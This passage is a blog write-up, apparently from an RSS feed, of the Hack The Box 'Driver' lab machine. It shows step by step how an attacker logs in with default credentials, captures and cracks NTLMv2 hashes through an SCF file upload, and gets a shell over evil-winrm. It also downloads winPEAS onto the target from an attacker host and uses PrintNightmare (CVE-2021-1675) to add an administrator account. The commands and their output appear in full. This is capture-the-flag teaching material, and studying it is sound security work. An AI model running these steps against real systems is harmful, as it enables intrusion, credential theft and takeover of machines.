</span></span></code></pre></div><p>And that&rsquo;s all. A pretty basic challenge. Hope you&rsquo;ve enjoyed it!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Driver</title>
      <link>https://www.akihakune.com/blog/driver/</link>
      <pubDate>Wed, 09 Feb 2022 13:08:56 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/driver/</guid>
      <description>A writeup for Driver machine from Hack The Box</description>
      <content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p>To cut a long story short, this is a <a href="/blog/driver/#i-scanning">Windows machine</a> that has an opening web page with <a href="/blog/driver/#iii-successful-enumeration-attempts">guessable credentials</a>, gave us a file upload portal through which can be used to trigger <a href="/blog/driver/#iv-foothold">SCF file upload vulnerability</a>, subsequently granted us a shell via WinRM, which showed us a <a href="/blog/driver/#v-privilege-escalation">vulnerable printing service</a> that we can take advantage of to get Administrator shell.</p>
<h2 id="i-scanning">I. Scanning</h2>
<p>So basically, it&rsquo;s a Windows box with Samba shares and HTTP port opening.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Thu Feb  3 21:46:00 2022 as: nmap -sC -sV -p- -oN nmap-fullports.txt driver.htb</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> driver<span style="color:#f92672">.</span>htb
</span></span><span style="display:flex;"><span>Host <span style="color:#f92672">is</span> up (<span style="color:#ae81ff">0.039</span>s latency)<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">65531</span> filtered tcp ports (no<span style="color:#f92672">-</span>response)
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">80</span><span style="color:#f92672">/</span>tcp   open  http         Microsoft IIS httpd <span style="color:#ae81ff">10.0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> http<span style="color:#f92672">-</span>auth: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> HTTP<span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">401</span> Unauthorized\x0D
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_  Basic realm<span style="color:#f92672">=</span>MFP Firmware Update Center<span style="color:#f92672">.</span> Please enter password <span style="color:#66d9ef">for</span> admin
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> http<span style="color:#f92672">-</span>methods: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>server<span style="color:#f92672">-</span>header: Microsoft<span style="color:#f92672">-</span>IIS<span style="color:#f92672">/</span><span style="color:#ae81ff">10.0</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">135</span><span style="color:#f92672">/</span>tcp  open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">445</span><span style="color:#f92672">/</span>tcp  open  microsoft<span style="color:#f92672">-</span>ds Microsoft Windows <span style="color:#ae81ff">7</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">10</span> microsoft<span style="color:#f92672">-</span>ds (workgroup: WORKGROUP)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5985</span><span style="color:#f92672">/</span>tcp open  http         Microsoft HTTPAPI httpd <span style="color:#ae81ff">2.0</span> (SSDP<span style="color:#f92672">/</span>UPnP)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>title: Not Found
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>server<span style="color:#f92672">-</span>header: Microsoft<span style="color:#f92672">-</span>HTTPAPI<span style="color:#f92672">/</span><span style="color:#ae81ff">2.0</span>
</span></span><span style="display:flex;"><span>Service Info: Host: DRIVER; OS: Windows; CPE: cpe:<span style="color:#f92672">/</span>o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> smb<span style="color:#f92672">-</span>security<span style="color:#f92672">-</span>mode: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>   authentication_level: user
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>   challenge_response: supported
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_  message_signing: disabled (dangerous, but default)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> smb2<span style="color:#f92672">-</span>security<span style="color:#f92672">-</span>mode: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>   <span style="color:#ae81ff">3.1.1</span>: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_    Message signing enabled but <span style="color:#f92672">not</span> required
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> smb2<span style="color:#f92672">-</span>time: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>   date: <span style="color:#ae81ff">2022</span><span style="color:#f92672">-</span><span style="color:#ae81ff">02</span><span style="color:#f92672">-</span><span style="color:#ae81ff">04</span>T09:<span style="color:#ae81ff">47</span>:<span style="color:#ae81ff">57</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_  start_date: <span style="color:#ae81ff">2022</span><span style="color:#f92672">-</span><span style="color:#ae81ff">02</span><span style="color:#f92672">-</span><span style="color:#ae81ff">03</span>T15:<span style="color:#ae81ff">59</span>:<span style="color:#ae81ff">59</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_clock<span style="color:#f92672">-</span>skew: mean: <span style="color:#ae81ff">7</span>h00m00s, deviation: <span style="color:#ae81ff">0</span>s, median: <span style="color:#ae81ff">6</span>h59m59s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed<span style="color:#f92672">.</span> Please report any incorrect results at https:<span style="color:#f92672">//</span>nmap<span style="color:#f92672">.</span>org<span style="color:#f92672">/</span>submit<span style="color:#f92672">/</span> <span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Thu Feb 7 21:48:32 2022 -- 1 IP address (1 host up) scanned in 151.91 seconds</span>
</span></span></code></pre></div><p>Just don&rsquo;t forget to scan all ports (with <em><code>-p-</code></em> switch) in order not to miss that <em>port <code>5985</code></em>.</p>
<p>Upon opening the web page, the site asked for <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication#basic_authentication_scheme">HTTP Basic Authentication</a>.</p>
<p>
  <img src="/img/driver/http-login.png#center" alt="">

</p>
<h2 id="ii-failed-enumeration-attempts">II. Failed enumeration attempts</h2>
<p>At first glance, I didn&rsquo;t bother with the login form and looked for other endpoints instead. However, looking at <em>Gobuster</em> scan result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Port 80 scan result</span>
</span></span><span style="display:flex;"><span>/images               <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 1233<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%c3%90%c2%a0%c3%91%c2%83%c3%91%c2%81%c3%91%c2%81%c3%90%c2%ba%c3%90%c2%b8%c3%90%c2%b9%c3%90%c2%9f%c3%90%c2%b8%c3%91%c2%82%c3%90%c2%be%c3%90%c2%bd <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 324<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%20%09adobe%20photoshop%20elements%205 <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 324<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%09tuneup            <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 324<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/alcohol120%1952722c  <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 324<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>And <em>dirbuster</em> result:</p>
<p>
  <img src="/img/driver/dirbuster.png#center" alt="">

</p>
<p>&hellip; eventually, I gave up on this attack vector. Then I went to SMB and tried my luck on it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/Driver<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ smbclient --no-pass -L //10.10.11.106
</span></span><span style="display:flex;"><span>session setup failed: NT_STATUS_ACCESS_DENIED
</span></span><span style="display:flex;"><span>                                                                          
</span></span><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/Driver<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ smbclient -U guest -L //10.10.11.106/
</span></span><span style="display:flex;"><span>Enter WORKGROUP<span style="color:#ae81ff">\g</span>uest password: 
</span></span><span style="display:flex;"><span>session setup failed: NT_STATUS_ACCOUNT_DISABLED
</span></span></code></pre></div><p>To my surprise, <code>guest</code> account was disabled and anonymous access was denied while this&rsquo;s supposed to be an easy box. Placing a bet on <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0796">outdated software + public exploits</a> combo also turned out to be a mistake shortly after:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>windows/smb/cve_2020_0796_smbghost<span style="color:#f92672">)</span> &gt; exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Started reverse TCP handler on 10.10.14.8:9999 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.11.106:445 - Running automatic check <span style="color:#f92672">(</span><span style="color:#e6db74">&#34;set AutoCheck false&#34;</span> to disable<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> 10.10.11.106:445 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. <span style="color:#e6db74">&#34;set ForceExploit true&#34;</span> to override check result.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Exploit completed, but no session was created.
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># From https://github.com/ZecOps/CVE-2020-0796-RCE-POC</span>
</span></span><span style="display:flex;"><span>$ python3 SMBleedingGhost.py 10.10.11.106 10.10.14.8 <span style="color:#ae81ff">8080</span>
</span></span><span style="display:flex;"><span>CVE-2020-0796 Remote Code Execution POC
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>c<span style="color:#f92672">)</span> <span style="color:#ae81ff">2020</span> ZecOps, Inc.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target is not vulnerable
</span></span></code></pre></div><p>Some other enumeration attepmts I learnt from <a href="https://book.hacktricks.xyz/pentesting/pentesting-smb">HackTricks</a> also felt short as they returned no novel information.</p>
<h2 id="iii-successful-enumeration-attempts">III. Successful enumeration attempts</h2>
<p>Afterwards, somehow I followed my nose and randomly typed <em><code>admin</code> - <code>password</code></em> into the HTTP simple login form, as well as <em><code>admin</code> - <code>pass</code></em>. In the third attempt with <em><code>admin</code> - <code>admin</code></em>, it happily got me through:</p>
<p>
  <img src="/img/driver/port80_admin_admin.png#center" alt="">

</p>
<p>Next, I maniacally clicked on whatever seems clickable. In spite of that, there was nothing but this firmware update page:</p>
<p>
  <img src="/img/driver/only-clickable-firmware-update-page.png#center" alt="">

</p>
<p>Through Burp Suite, the page appeared to be a fundamental file uploading page, directly via HTTP POST request, with no validation whatsoever. <a href="https://www.wappalyzer.com/">Wappalyzer</a> suggested a PHP backend, therefore, I tried a <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">PHP reverse shell</a> along with some other web payloads and Windows payloads. Nonetheless, nothing worked, which compelled us to seek out for a better attack vector.</p>
<p>But hold on, files, with SMB&hellip; At that moment, my mind finally pieced the clues together and the answer suddenly dawned on me: How about a <a href="https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/"><strong>SCF file attack</strong></a>?</p>
<p>This straght-to-the-point <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">guide from Pentestlab</a> covered all knowledge needed to start diving into exploiting the vulnerability. Thus, just strictly follow the guide and we got some sweet hashes like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msf6 auxiliary<span style="color:#f92672">(</span>server/capture/smb<span style="color:#f92672">)</span> &gt; exploit
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Auxiliary module running as background job 1.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Server is running. Listening on 10.10.14.21:445
</span></span><span style="display:flex;"><span>msf6 auxiliary<span style="color:#f92672">(</span>server/capture/smb<span style="color:#f92672">)</span> &gt; 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Received SMB connection on Auth Capture Server!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>SMB<span style="color:#f92672">]</span> NTLMv2-SSP Client     : 10.10.11.106
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>SMB<span style="color:#f92672">]</span> NTLMv2-SSP Username   : DRIVER<span style="color:#ae81ff">\t</span>ony
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>SMB<span style="color:#f92672">]</span> NTLMv2-SSP Hash       : tony::DRIVER:7dddc33ef0e24ca4:0365b04698b0c7b26f59c27bd7ceae61:0101000000000000007e17dbda1bd801835bdaa9e8a14d09000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800007e17dbda1bd8010600040002000000080030003000000000000000000000000020000060482ada3a682ca5c10eedb3a409d998e199cf3efff574506cf644e8c94799160a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0032003100000000000000000000000000
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Received SMB connection on Auth Capture Server!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>SMB<span style="color:#f92672">]</span> NTLMv2-SSP Client     : 10.10.11.106
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>SMB<span style="color:#f92672">]</span> NTLMv2-SSP Username   : DRIVER<span style="color:#ae81ff">\t</span>ony
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>SMB<span style="color:#f92672">]</span> NTLMv2-SSP Hash       : tony::DRIVER:e6fbeb49363872ac:cc3944c26e2cb37a604ed94691a61e3a:01010000000000008014b0dbda1bd80185625afe652e0d74000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f0075007300070008008014b0dbda1bd8010600040002000000080030003000000000000000000000000020000060482ada3a682ca5c10eedb3a409d998e199cf3efff574506cf644e8c94799160a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0032003100000000000000000000000000
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># and several more that looks pretty much alike</span>
</span></span></code></pre></div><p>Because I didn&rsquo;t know which one was the &ldquo;legitimate&rdquo; hash, using some small scripting tricks I dumped them all into separate files, so as to check them using <em><code>hashid</code></em>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/Driver<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ hashid userhash
</span></span><span style="display:flex;"><span>--File <span style="color:#e6db74">&#39;userhash&#39;</span>--
</span></span><span style="display:flex;"><span>Analyzing <span style="color:#e6db74">&#39;tony::DRIVER:7dddc33ef0e24ca4:0365b04698b0c7b26f59c27bd7ceae61:0101000000000000007e17dbda1bd801835bdaa9e8a14d09000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> NetNTLMv2 
</span></span><span style="display:flex;"><span>Analyzing <span style="color:#e6db74">&#39;400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800007e17dbda1bd8010600040002000000080030003000000000000000000000000020000060482ada3a682ca5c10eedb3a409d998e199cf3efff574506cf644e8c94799160a00100&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Unknown hash
</span></span><span style="display:flex;"><span>Analyzing <span style="color:#e6db74">&#39;0000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0032003100000000000000000000000000&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Unknown hash
</span></span><span style="display:flex;"><span>--End of file <span style="color:#e6db74">&#39;userhash&#39;</span>--                                                                                                                      
</span></span><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/Driver<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ hashid userhash2
</span></span><span style="display:flex;"><span>--File <span style="color:#e6db74">&#39;userhash2&#39;</span>--
</span></span><span style="display:flex;"><span>Analyzing &lt;REDACTED&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> NetNTLMv2 
</span></span><span style="display:flex;"><span>--End of file <span style="color:#e6db74">&#39;userhash2&#39;</span>--
</span></span></code></pre></div><h2 id="iv-foothold">IV. Foothold</h2>
<p>You will miss all the fun if I let on all the real credentials. For that reason, critical credentials will be redacted from this point onwards.</p>
<p>A question is, where to use all these hashes? An obvious answer is via <a href="https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm">the WinRM 5985 port</a>.</p>
<p>Next question would be, &ldquo;how&rdquo;? Well, let&rsquo;s go for a must-have tool - <a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a>. Installing instructions are all clearly put accross in <a href="https://github.com/Hackplayers/evil-winrm/blob/master/README.md">its README file</a>, so I&rsquo;ll not go into details here.</p>
<p>Checking for options <strong><code>evil-winrm</code></strong> provides, there&rsquo;s a <em><strong><code>-H</code></strong></em> switch to log in with NTML hash. However&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ evil-winrm -i driver.htb -u tony -H <span style="color:#e6db74">&#34;&lt;REDACTED_LEGITIMATE_HASH&gt;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Evil-WinRM shell v3.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Error: Invalid hash format
</span></span></code></pre></div><p>It didn&rsquo;t work, and god knows why. Consequently, it was unavoidable to face the hassle of cracking this hash on my potato machine. Thankfully the hash didn&rsquo;t take donkey&rsquo;s years to crack.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ john userhash2
</span></span><span style="display:flex;"><span>Using default input encoding: UTF-8
</span></span><span style="display:flex;"><span>Loaded <span style="color:#ae81ff">1</span> password hash <span style="color:#f92672">(</span>netntlmv2, NTLMv2 C/R <span style="color:#f92672">[</span>MD4 HMAC-MD5 32/64<span style="color:#f92672">])</span>
</span></span><span style="display:flex;"><span>Will run <span style="color:#ae81ff">2</span> OpenMP threads
</span></span><span style="display:flex;"><span>Proceeding with single, rules:Single
</span></span><span style="display:flex;"><span>Press <span style="color:#e6db74">&#39;q&#39;</span> or Ctrl-C to abort, almost any other key <span style="color:#66d9ef">for</span> status
</span></span><span style="display:flex;"><span>Almost <span style="color:#66d9ef">done</span>: Processing the remaining buffered candidate passwords, <span style="color:#66d9ef">if</span> any.
</span></span><span style="display:flex;"><span>Proceeding with wordlist:/usr/share/john/password.lst
</span></span><span style="display:flex;"><span>Proceeding with incremental:ASCII
</span></span><span style="display:flex;"><span>&lt;REDACTED_TONY_PASSWORD&gt;          <span style="color:#f92672">(</span>tony<span style="color:#f92672">)</span>     
</span></span><span style="display:flex;"><span>1g 0:00:02:44 DONE 3/3 <span style="color:#f92672">(</span>2022-02-07 01:43<span style="color:#f92672">)</span> 0.006064g/s 957216p/s 957216c/s 957216C/s labzter..lilton3
</span></span><span style="display:flex;"><span>Use the <span style="color:#e6db74">&#34;--show --format=netntlmv2&#34;</span> options to display all of the cracked passwords reliably
</span></span><span style="display:flex;"><span>Session completed. 
</span></span></code></pre></div><p>With the password now in own hand, it&rsquo;s a piece of cake getting a shell callback.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ evil-winrm -i driver.htb -u tony -p &lt;REDACTED_TONY_PASSWORD&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Evil-WinRM shell v3.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc<span style="color:#f92672">()</span> <span style="color:#66d9ef">function</span> is unimplemented on this machine
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Info: Establishing connection to remote endpoint
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>*Evil-WinRM* PS C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\t</span>ony<span style="color:#ae81ff">\D</span>ocuments&gt; 
</span></span></code></pre></div><p>And the rock stable shell of <em><code>evil-winrm</code></em> easily led me to the user flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>*Evil-WinRM* PS C:\Users\tony\Desktop&gt; Get-ChildItem
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory<span style="color:#960050;background-color:#1e0010">:</span> C:\Users\tony\Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>-ar---         <span style="color:#ae81ff">2</span>/<span style="color:#ae81ff">7</span>/<span style="color:#ae81ff">2022</span>   <span style="color:#ae81ff">5</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">21</span> AM             <span style="color:#ae81ff">34</span> user.txt
</span></span></code></pre></div><h2 id="v-privilege-escalation">V. Privilege Escalation</h2>
<p>First and foremost, <a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS">WinPEAS</a> all the way through.</p>
<p>On our attacker machine:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget https://github.com/carlospolop/PEASS-ng/releases/download/20220206/winPEASany.exe -O finding.exe
</span></span></code></pre></div><p>On the remote shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Invoke-WebRequest -URI http<span style="color:#960050;background-color:#1e0010">:</span>//<span style="color:#ae81ff">10.10</span>.14.<span style="color:#ae81ff">21</span>/finding.exe -UseBasicParsing -OutFile finding.exe
</span></span></code></pre></div><p>Carefully examining <strong>WinPEAS</strong> result, we cannot see many exeptional things showed up, but the most notable one is probably a runing service named <a href="https://www.howtogeek.com/323332/what-is-spooler-subsystem-app-spoolsv.exe-and-why-is-it-running-on-my-pc/">spoolsv.exe</a>.</p>
<p>In short, <em><strong>spoolsv</strong></em> signifies the existence of a printer and printing <em><strong>drivers</strong></em>, which reminds us about the unforgettable <a href="https://en.wikipedia.org/wiki/PrintNightmare">PrintNightmare</a> - a vulnerability chain comprises of <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527">CVE-2021-34527</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481">CVE-2021-34481</a> (for RCE) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675">CVE-2021-1675</a> (for local privilege escalation). Unquestionably, we will use the last one.</p>
<p>A quick Github search led me to <a href="https://github.com/cube0x0/CVE-2021-1675">a C# POC</a> that seems to work.</p>

<div class="github-card" data-github="cube0x0/CVE-2021-1675" data-width="400" data-height="" data-theme="medium"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script>

<p>However, its setup called for an abundance of time, so I gave it a miss and tried out <a href="https://github.com/calebstewart/CVE-2021-1675">this simple script instead</a>.</p>

<div class="github-card" data-github="calebstewart/CVE-2021-1675" data-width="400" data-height="317" data-theme="medium"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script>

<p>Without further ado, I straghtforwardly followed the <a href="https://github.com/calebstewart/CVE-2021-1675/blob/main/README.md">README</a> and it smoothly did the trick.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>*Evil-WinRM* PS C:\Users\tony\Downloads&gt; Invoke-Nightmare
</span></span><span style="display:flex;"><span>[+] using <span style="color:#66d9ef">default</span> new user<span style="color:#960050;background-color:#1e0010">:</span> adm1n
</span></span><span style="display:flex;"><span>[+] using <span style="color:#66d9ef">default</span> new password<span style="color:#960050;background-color:#1e0010">:</span> P@ssw0rd
</span></span><span style="display:flex;"><span>[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
</span></span><span style="display:flex;"><span>[+] using pDriverPath = <span style="color:#e6db74">&#34;C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll&#34;</span>
</span></span><span style="display:flex;"><span>[+] added user  as local administrator
</span></span><span style="display:flex;"><span>[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
</span></span></code></pre></div><p>At that point, what&rsquo;s left was to log in using <em><code>adm1n</code></em> account (which has Administrator privilege) and snatch the flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>evil-winrm -i driver.htb -u adm1n -p P@ssw0rd
</span></span></code></pre></div><p>Root flag can be found effortlessly at Administrator&rsquo;s Desktop folder.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>*Evil-WinRM* PS C:\Users\Administrator&gt; cd C:\Users\Administrator\Desktop
</span></span><span style="display:flex;"><span>*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; ls
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory<span style="color:#960050;background-color:#1e0010">:</span> C:\Users\Administrator\Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
